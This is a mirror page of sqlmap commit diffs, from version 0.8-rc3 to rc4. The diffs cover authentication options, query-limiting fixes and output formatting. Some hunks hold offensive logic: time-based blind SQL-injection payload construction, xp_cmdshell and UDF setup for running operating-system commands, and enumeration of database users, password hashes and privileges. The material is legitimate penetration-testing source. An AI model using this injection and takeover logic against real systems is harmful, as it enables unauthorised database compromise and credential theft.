mirror of
https://github.com/sqlmapproject/sqlmap.git
synced 2025-12-06 12:41:30 +00:00
Compare commits
18 Commits
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
f316e722c1 | ||
|
|
6a62a78b0a | ||
|
|
067cc07fb9 | ||
|
|
5c20462155 | ||
|
|
82222fcd3a | ||
|
|
d07f60578c | ||
|
|
80df1fdcf9 | ||
|
|
954a927cee | ||
|
|
71547a3496 | ||
|
|
bb61010a45 | ||
|
|
473024bd6e | ||
|
|
6319eb6e5c | ||
|
|
232f927dd0 | ||
|
|
d71e47ce56 | ||
|
|
2eb24c6368 | ||
|
|
236ca9b952 | ||
|
|
96a033b51d | ||
|
|
d5b1863dec |
@@ -1,3 +1,7 @@
|
||||
Bernardo Damele Assumpcao Guimaraes (inquis) - Lead developer
|
||||
<bernardo.damele@gmail.com>
|
||||
PGP Key ID: 0x05F5A30F
|
||||
|
||||
Miroslav Stampar (stamparm) - Developer since version 0.8-rc2
|
||||
<miroslav.stampar@gmail.com>
|
||||
PGP Key ID: 0xB5397B1B
|
||||
|
||||
@@ -116,6 +116,9 @@ Anant Kochhar <anant.kochhar@secureyes.net>
|
||||
Alexander Kornbrust <ak@red-database-security.com>
|
||||
for reporting a couple of bugs
|
||||
|
||||
Krzysztof Kotowicz <kkotowicz@gmail.com>
|
||||
for reporting a minor bug
|
||||
|
||||
Nicolas Krassas <krasn@ans.gr>
|
||||
for reporting a bug
|
||||
|
||||
|
||||
@@ -453,7 +453,7 @@ class Agent:
|
||||
|
||||
return inbandQuery
|
||||
|
||||
def limitQuery(self, num, query, field):
|
||||
def limitQuery(self, num, query, field=None):
|
||||
"""
|
||||
Take in input a query string and return its limited query string.
|
||||
|
||||
@@ -502,6 +502,12 @@ class Agent:
|
||||
if " ORDER BY " in limitedQuery:
|
||||
limitedQuery = limitedQuery[:limitedQuery.index(" ORDER BY ")]
|
||||
|
||||
notDistincts = re.findall("DISTINCT[\(\s+](.+?)\)*\s+", limitedQuery, re.I)
|
||||
|
||||
for notDistinct in notDistincts:
|
||||
limitedQuery = limitedQuery.replace("DISTINCT(%s)" % notDistinct, notDistinct)
|
||||
limitedQuery = limitedQuery.replace("DISTINCT %s" % notDistinct, notDistinct)
|
||||
|
||||
if limitedQuery.startswith("SELECT TOP ") or limitedQuery.startswith("TOP "):
|
||||
topNums = re.search(queries[kb.dbms].limitregexp, limitedQuery, re.I)
|
||||
|
||||
@@ -517,11 +523,13 @@ class Agent:
|
||||
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
|
||||
|
||||
if forgeNotIn:
|
||||
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
||||
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
|
||||
|
||||
if " WHERE " in limitedQuery:
|
||||
limitedQuery = "%s AND %s " % (limitedQuery, field)
|
||||
else:
|
||||
limitedQuery = "%s WHERE %s " % (limitedQuery, field)
|
||||
|
||||
limitedQuery += "NOT IN (%s" % (limitStr % num)
|
||||
limitedQuery += "%s %s)" % (field, fromFrom)
|
||||
|
||||
|
||||
@@ -30,6 +30,8 @@ import string
|
||||
import sys
|
||||
import time
|
||||
import urlparse
|
||||
import ntpath
|
||||
import posixpath
|
||||
from lib.contrib import magic
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
@@ -215,7 +217,7 @@ def getHtmlErrorFp():
|
||||
|
||||
def getDocRoot():
|
||||
docRoot = None
|
||||
pagePath = os.path.dirname(conf.path)
|
||||
pagePath = directoryPath(conf.path)
|
||||
|
||||
if kb.os == "Windows":
|
||||
defaultDocRoot = "C:/Inetpub/wwwroot/"
|
||||
@@ -224,14 +226,13 @@ def getDocRoot():
|
||||
|
||||
if kb.absFilePaths:
|
||||
for absFilePath in kb.absFilePaths:
|
||||
absFilePath = normalizePath(absFilePath)
|
||||
absFilePathWin = None
|
||||
|
||||
if re.search("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
|
||||
if re.match("[A-Za-z]:(\\[\w.\\]*)?", absFilePath):
|
||||
absFilePathWin = absFilePath
|
||||
absFilePath = absFilePath[2:].replace("\\", "/")
|
||||
|
||||
absFilePath = os.path.normpath(absFilePath)
|
||||
|
||||
|
||||
if pagePath in absFilePath:
|
||||
index = absFilePath.index(pagePath)
|
||||
docRoot = absFilePath[:index]
|
||||
@@ -509,7 +510,7 @@ def parsePasswordHash(password):
|
||||
password += "%suppercase: %s" % (blank, hexPassword[54:])
|
||||
|
||||
return password
|
||||
|
||||
|
||||
def cleanQuery(query):
|
||||
upperQuery = query
|
||||
|
||||
@@ -621,7 +622,7 @@ def expandAsteriskForColumns(expression):
|
||||
logger.info(infoMsg)
|
||||
|
||||
return expression
|
||||
|
||||
|
||||
def getRange(count, dump=False, plusOne=False):
|
||||
count = int(count)
|
||||
indexRange = None
|
||||
@@ -635,7 +636,7 @@ def getRange(count, dump=False, plusOne=False):
|
||||
if isinstance(conf.limitStart, int) and conf.limitStart > 0 and conf.limitStart <= limitStop:
|
||||
limitStart = conf.limitStart
|
||||
|
||||
if kb.dbms == "Oracle" or plusOne:
|
||||
if plusOne:
|
||||
indexRange = range(limitStart, limitStop + 1)
|
||||
else:
|
||||
indexRange = range(limitStart - 1, limitStop)
|
||||
@@ -691,8 +692,8 @@ def parseUnionPage(output, expression, partial=False, condition=None, sort=True)
|
||||
data = data[0]
|
||||
|
||||
return data
|
||||
|
||||
def getDelayQuery():
|
||||
|
||||
def getDelayQuery(andCond=False):
|
||||
query = None
|
||||
|
||||
if kb.dbms in ("MySQL", "PostgreSQL"):
|
||||
@@ -703,6 +704,10 @@ def getDelayQuery():
|
||||
|
||||
if (kb.dbms == "MySQL" and banVer >= "5.0.12") or (kb.dbms == "PostgreSQL" and banVer >= "8.2"):
|
||||
query = queries[kb.dbms].timedelay % conf.timeSec
|
||||
|
||||
if kb.dbms == "MySQL" and andCond:
|
||||
query = query.replace("SELECT ", "")
|
||||
|
||||
else:
|
||||
query = queries[kb.dbms].timedelay2 % conf.timeSec
|
||||
else:
|
||||
@@ -832,3 +837,19 @@ def sanitizeCookie(cookieStr, warn=False):
|
||||
return result
|
||||
else:
|
||||
return None
|
||||
|
||||
def directoryPath(path):
|
||||
retVal = None
|
||||
if path.find('/') != -1:
|
||||
retVal = posixpath.dirname(path)
|
||||
else:
|
||||
retVal = ntpath.dirname(path)
|
||||
return retVal
|
||||
|
||||
def normalizePath(path):
|
||||
retVal = None
|
||||
if path.find('/') != -1:
|
||||
retVal = posixpath.normpath(path)
|
||||
else:
|
||||
retVal = ntpath.normpath(path)
|
||||
return retVal
|
||||
|
||||
@@ -123,7 +123,32 @@ class Dump:
|
||||
for setting in settings:
|
||||
self.__write(" %s: %s" % (subHeader, setting))
|
||||
print
|
||||
|
||||
|
||||
def dbColumns(self, dbColumns, colConsider, dbs):
|
||||
for column, dbTables in dbColumns.items():
|
||||
if colConsider == "1":
|
||||
colConsiderStr = "s like '" + column + "' were"
|
||||
else:
|
||||
colConsiderStr = " '%s' was" % column
|
||||
|
||||
msg = "Column%s found in the " % colConsiderStr
|
||||
msg += "following databases:"
|
||||
self.__write(msg)
|
||||
|
||||
printDbs = {}
|
||||
|
||||
for db, tblData in dbs.items():
|
||||
for tbl, colData in tblData.items():
|
||||
for col in colData:
|
||||
if column in col:
|
||||
if db in printDbs:
|
||||
printDbs[db][tbl] = colData
|
||||
else:
|
||||
printDbs[db] = { tbl: colData }
|
||||
break
|
||||
|
||||
self.dbTableColumns(printDbs)
|
||||
|
||||
def dbTables(self, dbTables):
|
||||
if not isinstance(dbTables, dict):
|
||||
self.string("tables", dbTables)
|
||||
@@ -155,7 +180,7 @@ class Dump:
|
||||
self.__write("| %s%s |" % (table, blank))
|
||||
|
||||
self.__write("+%s+\n" % lines)
|
||||
|
||||
|
||||
def dbTableColumns(self, tableColumns):
|
||||
for db, tables in tableColumns.items():
|
||||
if not db:
|
||||
@@ -171,12 +196,16 @@ class Dump:
|
||||
for column in colList:
|
||||
colType = columns[column]
|
||||
maxlength1 = max(maxlength1, len(column))
|
||||
maxlength2 = max(maxlength2, len(colType))
|
||||
|
||||
if colType is not None:
|
||||
maxlength2 = max(maxlength2, len(colType))
|
||||
|
||||
maxlength1 = max(maxlength1, len("COLUMN"))
|
||||
maxlength2 = max(maxlength2, len("TYPE"))
|
||||
lines1 = "-" * (int(maxlength1) + 2)
|
||||
lines2 = "-" * (int(maxlength2) + 2)
|
||||
|
||||
if colType is not None:
|
||||
maxlength2 = max(maxlength2, len("TYPE"))
|
||||
lines2 = "-" * (int(maxlength2) + 2)
|
||||
|
||||
self.__write("Database: %s\nTable: %s" % (db, table))
|
||||
|
||||
@@ -185,23 +214,42 @@ class Dump:
|
||||
else:
|
||||
self.__write("[%d columns]" % len(columns))
|
||||
|
||||
self.__write("+%s+%s+" % (lines1, lines2))
|
||||
if colType is not None:
|
||||
self.__write("+%s+%s+" % (lines1, lines2))
|
||||
else:
|
||||
self.__write("+%s+" % lines1)
|
||||
|
||||
blank1 = " " * (maxlength1 - len("COLUMN"))
|
||||
blank2 = " " * (maxlength2 - len("TYPE"))
|
||||
|
||||
self.__write("| Column%s | Type%s |" % (blank1, blank2))
|
||||
self.__write("+%s+%s+" % (lines1, lines2))
|
||||
if colType is not None:
|
||||
blank2 = " " * (maxlength2 - len("TYPE"))
|
||||
|
||||
if colType is not None:
|
||||
self.__write("| Column%s | Type%s |" % (blank1, blank2))
|
||||
self.__write("+%s+%s+" % (lines1, lines2))
|
||||
else:
|
||||
self.__write("| Column%s |" % blank1)
|
||||
self.__write("+%s+" % lines1)
|
||||
|
||||
for column in colList:
|
||||
colType = columns[column]
|
||||
blank1 = " " * (maxlength1 - len(column))
|
||||
blank2 = " " * (maxlength2 - len(colType))
|
||||
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
|
||||
|
||||
self.__write("+%s+%s+\n" % (lines1, lines2))
|
||||
|
||||
if colType is not None:
|
||||
blank2 = " " * (maxlength2 - len(colType))
|
||||
self.__write("| %s%s | %s%s |" % (column, blank1, colType, blank2))
|
||||
else:
|
||||
self.__write("| %s%s |" % (column, blank1))
|
||||
|
||||
if colType is not None:
|
||||
self.__write("+%s+%s+\n" % (lines1, lines2))
|
||||
else:
|
||||
self.__write("+%s+\n" % lines1)
|
||||
|
||||
def dbTableValues(self, tableValues):
|
||||
if tableValues is None:
|
||||
return
|
||||
|
||||
db = tableValues["__infos__"]["db"]
|
||||
if not db:
|
||||
db = "All"
|
||||
|
||||
@@ -67,6 +67,7 @@ from lib.core.update import update
|
||||
from lib.parse.configfile import configFileParser
|
||||
from lib.parse.queriesfile import queriesParser
|
||||
from lib.request.proxy import ProxyHTTPSHandler
|
||||
from lib.request.certhandler import HTTPSCertAuthHandler
|
||||
from lib.utils.google import Google
|
||||
|
||||
authHandler = urllib2.BaseHandler()
|
||||
@@ -518,13 +519,14 @@ def __setHTTPProxy():
|
||||
|
||||
def __setHTTPAuthentication():
|
||||
"""
|
||||
Check and set the HTTP authentication method (Basic, Digest or NTLM),
|
||||
username and password to perform HTTP requests with.
|
||||
Check and set the HTTP(s) authentication method (Basic, Digest, NTLM or Certificate),
|
||||
username and password for first three methods, or key file and certification file for
|
||||
certificate authentication
|
||||
"""
|
||||
|
||||
global authHandler
|
||||
|
||||
if not conf.aType and not conf.aCred:
|
||||
if not conf.aType and not conf.aCred and not conf.aCert:
|
||||
return
|
||||
|
||||
elif conf.aType and not conf.aCred:
|
||||
@@ -537,45 +539,67 @@ def __setHTTPAuthentication():
|
||||
errMsg += "but did not provide the type"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
debugMsg = "setting the HTTP authentication type and credentials"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
aTypeLower = conf.aType.lower()
|
||||
|
||||
if aTypeLower not in ( "basic", "digest", "ntlm" ):
|
||||
errMsg = "HTTP authentication type value must be "
|
||||
errMsg += "Basic, Digest or NTLM"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
|
||||
|
||||
if not aCredRegExp:
|
||||
errMsg = "HTTP authentication credentials value must be "
|
||||
errMsg += "in format username:password"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
authUsername = aCredRegExp.group(1)
|
||||
authPassword = aCredRegExp.group(2)
|
||||
|
||||
passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
|
||||
passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword)
|
||||
|
||||
if aTypeLower == "basic":
|
||||
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
|
||||
|
||||
elif aTypeLower == "digest":
|
||||
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
||||
|
||||
elif aTypeLower == "ntlm":
|
||||
try:
|
||||
from ntlm import HTTPNtlmAuthHandler
|
||||
except ImportError, _:
|
||||
errMsg = "sqlmap requires Python NTLM third-party library "
|
||||
errMsg += "in order to authenticate via NTLM, "
|
||||
errMsg += "http://code.google.com/p/python-ntlm/"
|
||||
raise sqlmapMissingDependence, errMsg
|
||||
|
||||
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
|
||||
if not conf.aCert:
|
||||
debugMsg = "setting the HTTP authentication type and credentials"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
aTypeLower = conf.aType.lower()
|
||||
|
||||
if aTypeLower not in ( "basic", "digest", "ntlm" ):
|
||||
errMsg = "HTTP authentication type value must be "
|
||||
errMsg += "Basic, Digest or NTLM"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
aCredRegExp = re.search("^(.*?)\:(.*?)$", conf.aCred)
|
||||
|
||||
if not aCredRegExp:
|
||||
errMsg = "HTTP authentication credentials value must be "
|
||||
errMsg += "in format username:password"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
authUsername = aCredRegExp.group(1)
|
||||
authPassword = aCredRegExp.group(2)
|
||||
|
||||
passwordMgr = urllib2.HTTPPasswordMgrWithDefaultRealm()
|
||||
passwordMgr.add_password(None, "%s://%s" % (conf.scheme, conf.hostname), authUsername, authPassword)
|
||||
|
||||
if aTypeLower == "basic":
|
||||
authHandler = urllib2.HTTPBasicAuthHandler(passwordMgr)
|
||||
|
||||
elif aTypeLower == "digest":
|
||||
authHandler = urllib2.HTTPDigestAuthHandler(passwordMgr)
|
||||
|
||||
elif aTypeLower == "ntlm":
|
||||
try:
|
||||
from ntlm import HTTPNtlmAuthHandler
|
||||
except ImportError, _:
|
||||
errMsg = "sqlmap requires Python NTLM third-party library "
|
||||
errMsg += "in order to authenticate via NTLM, "
|
||||
errMsg += "http://code.google.com/p/python-ntlm/"
|
||||
raise sqlmapMissingDependence, errMsg
|
||||
|
||||
authHandler = HTTPNtlmAuthHandler.HTTPNtlmAuthHandler(passwordMgr)
|
||||
else:
|
||||
debugMsg = "setting the HTTP(s) authentication certificate"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
aCertRegExp = re.search("^(.+?),\s*(.+?)$", conf.aCert)
|
||||
|
||||
if not aCertRegExp:
|
||||
errMsg = "HTTP authentication certificate option "
|
||||
errMsg += "must be in format key_file,cert_file"
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
#os.path.expanduser for support of paths with ~
|
||||
key_file = os.path.expanduser(aCertRegExp.group(1))
|
||||
cert_file = os.path.expanduser(aCertRegExp.group(2))
|
||||
|
||||
for file in (key_file, cert_file):
|
||||
if not os.path.exists(file):
|
||||
errMsg = "File '%s' doesn't exist" % file
|
||||
raise sqlmapSyntaxException, errMsg
|
||||
|
||||
authHandler = HTTPSCertAuthHandler(key_file, cert_file)
|
||||
|
||||
def __setHTTPMethod():
|
||||
"""
|
||||
|
||||
@@ -41,6 +41,7 @@ optDict = {
|
||||
"headers": "string",
|
||||
"aType": "string",
|
||||
"aCred": "string",
|
||||
"aCert": "string",
|
||||
"proxy": "string",
|
||||
"threads": "integer",
|
||||
"delay": "float",
|
||||
|
||||
@@ -27,7 +27,7 @@ import subprocess
|
||||
import sys
|
||||
|
||||
# sqlmap version and site
|
||||
VERSION = "0.8-rc3"
|
||||
VERSION = "0.8-rc4"
|
||||
VERSION_STRING = "sqlmap/%s" % VERSION
|
||||
SITE = "http://sqlmap.sourceforge.net"
|
||||
|
||||
@@ -58,7 +58,7 @@ SQLMAP_SOURCE_URL = "http://downloads.sourceforge.net/sqlmap/sqlmap-%s.zip"
|
||||
# Database managemen system specific variables
|
||||
MSSQL_SYSTEM_DBS = ( "Northwind", "model", "msdb", "pubs", "tempdb" )
|
||||
MYSQL_SYSTEM_DBS = ( "information_schema", "mysql" ) # Before MySQL 5.0 only "mysql"
|
||||
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog" )
|
||||
PGSQL_SYSTEM_DBS = ( "information_schema", "pg_catalog", "pg_toast" )
|
||||
ORACLE_SYSTEM_DBS = ( "SYSTEM", "SYSAUX" ) # These are TABLESPACE_NAME
|
||||
|
||||
MSSQL_ALIASES = [ "microsoft sql server", "mssqlserver", "mssql", "ms" ]
|
||||
@@ -74,6 +74,7 @@ SQL_STATEMENTS = {
|
||||
"select ",
|
||||
"show ",
|
||||
" top ",
|
||||
" distinct ",
|
||||
" from ",
|
||||
" from dual",
|
||||
" where ",
|
||||
|
||||
@@ -89,12 +89,16 @@ def cmdLineParser():
|
||||
help="Extra HTTP headers newline separated")
|
||||
|
||||
request.add_option("--auth-type", dest="aType",
|
||||
help="HTTP Authentication type (value "
|
||||
"Basic, Digest or NTLM)")
|
||||
help="HTTP Authentication type "
|
||||
"(Basic, Digest or NTLM)")
|
||||
|
||||
request.add_option("--auth-cred", dest="aCred",
|
||||
help="HTTP Authentication credentials (value "
|
||||
"name:password)")
|
||||
help="HTTP Authentication credentials "
|
||||
"(name:password)")
|
||||
|
||||
request.add_option("--auth-cert", dest="aCert",
|
||||
help="HTTPs Authentication certificate ("
|
||||
"key_file,cert_file)")
|
||||
|
||||
request.add_option("--proxy", dest="proxy",
|
||||
help="Use a HTTP proxy to connect to the target url")
|
||||
|
||||
@@ -145,6 +145,8 @@ class queriesHandler(ContentHandler):
|
||||
self.__blind2 = sanitizeStr(attrs.get("query2"))
|
||||
self.__count = sanitizeStr(attrs.get("count"))
|
||||
self.__count2 = sanitizeStr(attrs.get("count2"))
|
||||
self.__condition = sanitizeStr(attrs.get("condition"))
|
||||
self.__condition2 = sanitizeStr(attrs.get("condition2"))
|
||||
|
||||
def endElement(self, name):
|
||||
if name == "dbms":
|
||||
@@ -192,11 +194,18 @@ class queriesHandler(ContentHandler):
|
||||
|
||||
elif name == "columns":
|
||||
self.__columns = {}
|
||||
self.__columns["inband"] = { "query": self.__inband }
|
||||
self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count }
|
||||
self.__columns["inband"] = { "query": self.__inband, "condition": self.__condition }
|
||||
self.__columns["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count, "condition": self.__condition }
|
||||
|
||||
self.__queries.columns = self.__columns
|
||||
|
||||
elif name == "dump_column":
|
||||
self.__dumpColumn = {}
|
||||
self.__dumpColumn["inband"] = { "query": self.__inband, "query2": self.__inband2, "condition": self.__condition, "condition2": self.__condition2 }
|
||||
self.__dumpColumn["blind"] = { "query": self.__blind, "query2": self.__blind2, "count": self.__count, "count2": self.__count2, "condition": self.__condition, "condition2": self.__condition2 }
|
||||
|
||||
self.__queries.dumpColumn = self.__dumpColumn
|
||||
|
||||
elif name == "dump_table":
|
||||
self.__dumpTable = {}
|
||||
self.__dumpTable["inband"] = { "query": self.__inband }
|
||||
|
||||
@@ -30,6 +30,7 @@ import zlib
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.data import kb
|
||||
from lib.core.common import directoryPath
|
||||
from lib.parse.headers import headersParser
|
||||
from lib.parse.html import htmlParser
|
||||
|
||||
@@ -68,16 +69,17 @@ def parseResponse(page, headers):
|
||||
# Detect injectable page absolute system path
|
||||
# NOTE: this regular expression works if the remote web application
|
||||
# is written in PHP and debug/error messages are enabled.
|
||||
absFilePathsRegExp = ( r" in <b>(.*?)</b> on line", r"\b[A-Za-z]:(\\[\w.\\]*)?", r"/[/\w.]+" )
|
||||
absFilePathsRegExp = ( r" in <b>(?P<result>.*?)</b> on line", r"\b(?P<result>[A-Za-z]:(\\[\w.\\]*)?)", r"(\A|[^<])(?P<result>/[/\w.]+)" )
|
||||
|
||||
for absFilePathRegExp in absFilePathsRegExp:
|
||||
reobj = re.compile(absFilePathRegExp)
|
||||
|
||||
for match in reobj.finditer(page):
|
||||
absFilePath = match.group()
|
||||
absFilePath = match.group("result").strip()
|
||||
|
||||
if absFilePath not in kb.absFilePaths:
|
||||
kb.absFilePaths.add(os.path.dirname(absFilePath))
|
||||
dirname = directoryPath(absFilePath)
|
||||
kb.absFilePaths.add(dirname)
|
||||
|
||||
def decodePage(page, encoding):
|
||||
"""
|
||||
|
||||
@@ -1,12 +1,45 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
$Id$
|
||||
|
||||
This file is part of the sqlmap project, http://sqlmap.sourceforge.net.
|
||||
|
||||
Copyright (c) 2007-2009 Bernardo Damele A. G. <bernardo.damele@gmail.com>
|
||||
Copyright (c) 2006 Daniele Bellucci <daniele.bellucci@gmail.com>
|
||||
|
||||
sqlmap is free software; you can redistribute it and/or modify it under
|
||||
the terms of the GNU General Public License as published by the Free
|
||||
Software Foundation version 2 of the License.
|
||||
|
||||
sqlmap is distributed in the hope that it will be useful, but WITHOUT ANY
|
||||
WARRANTY; without even the implied warranty of MERCHANTABILITY or FITNESS
|
||||
FOR A PARTICULAR PURPOSE. See the GNU General Public License for more
|
||||
details.
|
||||
|
||||
You should have received a copy of the GNU General Public License along
|
||||
with sqlmap; if not, write to the Free Software Foundation, Inc., 51
|
||||
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
|
||||
"""
|
||||
|
||||
import sys
|
||||
import httplib
|
||||
import urllib2
|
||||
|
||||
from lib.core.data import conf
|
||||
|
||||
class HTTPSCertAuthHandler(urllib2.HTTPSHandler):
|
||||
def __init__(self, key_file, cert_file):
|
||||
urllib2.HTTPSHandler.__init__(self)
|
||||
self.key_file = key_file
|
||||
self.cert_file = cert_file
|
||||
|
||||
def https_open(self, req):
|
||||
return self.do_open(self.getConnection, req)
|
||||
|
||||
def getConnection(self, host):
|
||||
return httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)
|
||||
if sys.version_info >= (2,6):
|
||||
retVal = httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file, timeout=conf.timeout)
|
||||
else:
|
||||
retVal = httplib.HTTPSConnection(host, key_file=self.key_file, cert_file=self.cert_file)
|
||||
return retVal
|
||||
|
||||
@@ -350,6 +350,8 @@ def getValue(expression, blind=True, inband=True, fromUser=False, expected=None,
|
||||
expression = expandAsteriskForColumns(expression)
|
||||
value = None
|
||||
|
||||
expression = expression.replace("DISTINCT ", "")
|
||||
|
||||
if inband and kb.unionPosition:
|
||||
if kb.dbms == "Oracle" and " ORDER BY " in expression:
|
||||
expression = expression[:expression.index(" ORDER BY ")]
|
||||
|
||||
@@ -95,7 +95,7 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
else:
|
||||
self.execCmd(cmd, forgeCmd=True)
|
||||
|
||||
if not conf.osShell and not conf.cleanup:
|
||||
if not conf.osShell and not conf.osPwn and not conf.cleanup:
|
||||
self.__cmdShellCleanup()
|
||||
|
||||
def absOsShell(self):
|
||||
@@ -151,7 +151,7 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
|
||||
self.checkDbmsOs(detailed)
|
||||
|
||||
if not self.isDba():
|
||||
if mandatory and not self.isDba():
|
||||
warnMsg = "the functionality requested might not work because "
|
||||
warnMsg += "the session user is not a database administrator"
|
||||
logger.warn(warnMsg)
|
||||
@@ -160,8 +160,11 @@ class Abstraction(UDF, xp_cmdshell):
|
||||
self.udfInjectCmd()
|
||||
|
||||
elif kb.dbms == "Microsoft SQL Server":
|
||||
self.xpCmdshellInit(mandatory)
|
||||
if mandatory:
|
||||
self.xpCmdshellInit()
|
||||
|
||||
else:
|
||||
errMsg = "feature not yet implemented for the back-end DBMS"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
raise sqlmapUnsupportedFeatureException(errMsg)
|
||||
|
||||
self.envInitialized = True
|
||||
|
||||
@@ -145,7 +145,7 @@ class xp_cmdshell:
|
||||
|
||||
return output
|
||||
|
||||
def xpCmdshellInit(self, mandatory=True):
|
||||
def xpCmdshellInit(self):
|
||||
self.__xpCmdshellAvailable = False
|
||||
|
||||
infoMsg = "checking if xp_cmdshell extended procedure is "
|
||||
@@ -187,19 +187,10 @@ class xp_cmdshell:
|
||||
warnMsg += "because sp_OACreate is disabled"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
if not self.__xpCmdshellAvailable and not mandatory:
|
||||
warnMsg = "unable to get xp_cmdshell working, sqlmap will "
|
||||
warnMsg += "try to proceed without it"
|
||||
logger.warn(warnMsg)
|
||||
|
||||
self.envInitialized = True
|
||||
|
||||
elif not self.__xpCmdshellAvailable:
|
||||
if not self.__xpCmdshellAvailable:
|
||||
errMsg = "unable to proceed without xp_cmdshell"
|
||||
raise sqlmapUnsupportedFeatureException, errMsg
|
||||
|
||||
self.envInitialized = True
|
||||
|
||||
debugMsg = "creating a support table to write commands standard "
|
||||
debugMsg += "output to"
|
||||
logger.debug(debugMsg)
|
||||
|
||||
@@ -31,12 +31,13 @@ from lib.core.data import kb
|
||||
from lib.core.data import logger
|
||||
from lib.request import inject
|
||||
from lib.request.connect import Connect as Request
|
||||
|
||||
def timeTest():
|
||||
infoMsg = "testing time based blind sql injection on parameter "
|
||||
infoMsg += "'%s' with AND condition syntax" % kb.injParameter
|
||||
logger.info(infoMsg)
|
||||
|
||||
timeQuery = getDelayQuery()
|
||||
timeQuery = getDelayQuery(andCond=True)
|
||||
query = agent.prefixQuery(" AND %s" % timeQuery)
|
||||
query = agent.postfixQuery(query)
|
||||
payload = agent.payload(newValue=query)
|
||||
@@ -60,9 +61,10 @@ def timeTest():
|
||||
infoMsg += "'%s' with stacked query syntax" % kb.injParameter
|
||||
logger.info(infoMsg)
|
||||
|
||||
start = time.time()
|
||||
payload, _ = inject.goStacked(timeQuery)
|
||||
duration = int(time.time() - start)
|
||||
timeQuery = getDelayQuery(andCond=True)
|
||||
start = time.time()
|
||||
payload, _ = inject.goStacked(timeQuery)
|
||||
duration = int(time.time() - start)
|
||||
|
||||
if duration >= conf.timeSec:
|
||||
infoMsg = "the parameter '%s' is affected by a time " % kb.injParameter
|
||||
@@ -78,6 +80,7 @@ def timeTest():
|
||||
kb.timeTest = False
|
||||
|
||||
return kb.timeTest
|
||||
|
||||
def timeUse(query):
|
||||
start = time.time()
|
||||
_, _ = inject.goStacked(query)
|
||||
|
||||
@@ -352,9 +352,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
infoMsg = "fingerprinting the back-end DBMS operating system"
|
||||
logger.info(infoMsg)
|
||||
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
inject.goStacked("INSERT INTO %s(%s) VALUES (%s)" % (self.fileTblName, self.tblField, "VERSION()"))
|
||||
|
||||
datadirSubstr = inject.getValue("SELECT MID(@@datadir, 1, 1)", unpack=False)
|
||||
|
||||
if datadirSubstr == "/":
|
||||
@@ -553,7 +550,6 @@ class MySQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover):
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
self.envInitialized = True
|
||||
|
||||
def uncPathRequest(self):
|
||||
if not kb.stackedTest:
|
||||
|
||||
@@ -464,7 +464,6 @@ class PostgreSQLMap(Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeove
|
||||
self.udfSharedLibExt = "so"
|
||||
|
||||
self.udfInjectCore(self.sysUdfs)
|
||||
self.envInitialized = True
|
||||
|
||||
def uncPathRequest(self):
|
||||
self.createSupportTbl(self.fileTblName, self.tblField, "text")
|
||||
|
||||
@@ -190,7 +190,11 @@ class Enumeration:
|
||||
errMsg = "unable to retrieve the number of database users"
|
||||
raise sqlmapNoneDataException, errMsg
|
||||
|
||||
indexRange = getRange(count)
|
||||
if kb.dbms == "Oracle":
|
||||
plusOne = True
|
||||
else:
|
||||
plusOne = False
|
||||
indexRange = getRange(count, plusOne=plusOne)
|
||||
|
||||
for index in indexRange:
|
||||
if condition:
|
||||
@@ -299,7 +303,12 @@ class Enumeration:
|
||||
logger.info(infoMsg)
|
||||
|
||||
passwords = []
|
||||
indexRange = getRange(count)
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
plusOne = True
|
||||
else:
|
||||
plusOne = False
|
||||
indexRange = getRange(count, plusOne=plusOne)
|
||||
|
||||
for index in indexRange:
|
||||
if kb.dbms == "Microsoft SQL Server":
|
||||
@@ -543,7 +552,12 @@ class Enumeration:
|
||||
logger.info(infoMsg)
|
||||
|
||||
privileges = set()
|
||||
indexRange = getRange(count)
|
||||
|
||||
if kb.dbms == "Oracle":
|
||||
plusOne = True
|
||||
else:
|
||||
plusOne = False
|
||||
indexRange = getRange(count, plusOne=plusOne)
|
||||
|
||||
for index in indexRange:
|
||||
if kb.dbms == "MySQL" and not kb.data.has_information_schema:
|
||||
@@ -742,7 +756,12 @@ class Enumeration:
|
||||
continue
|
||||
|
||||
tables = []
|
||||
indexRange = getRange(count)
|
||||
|
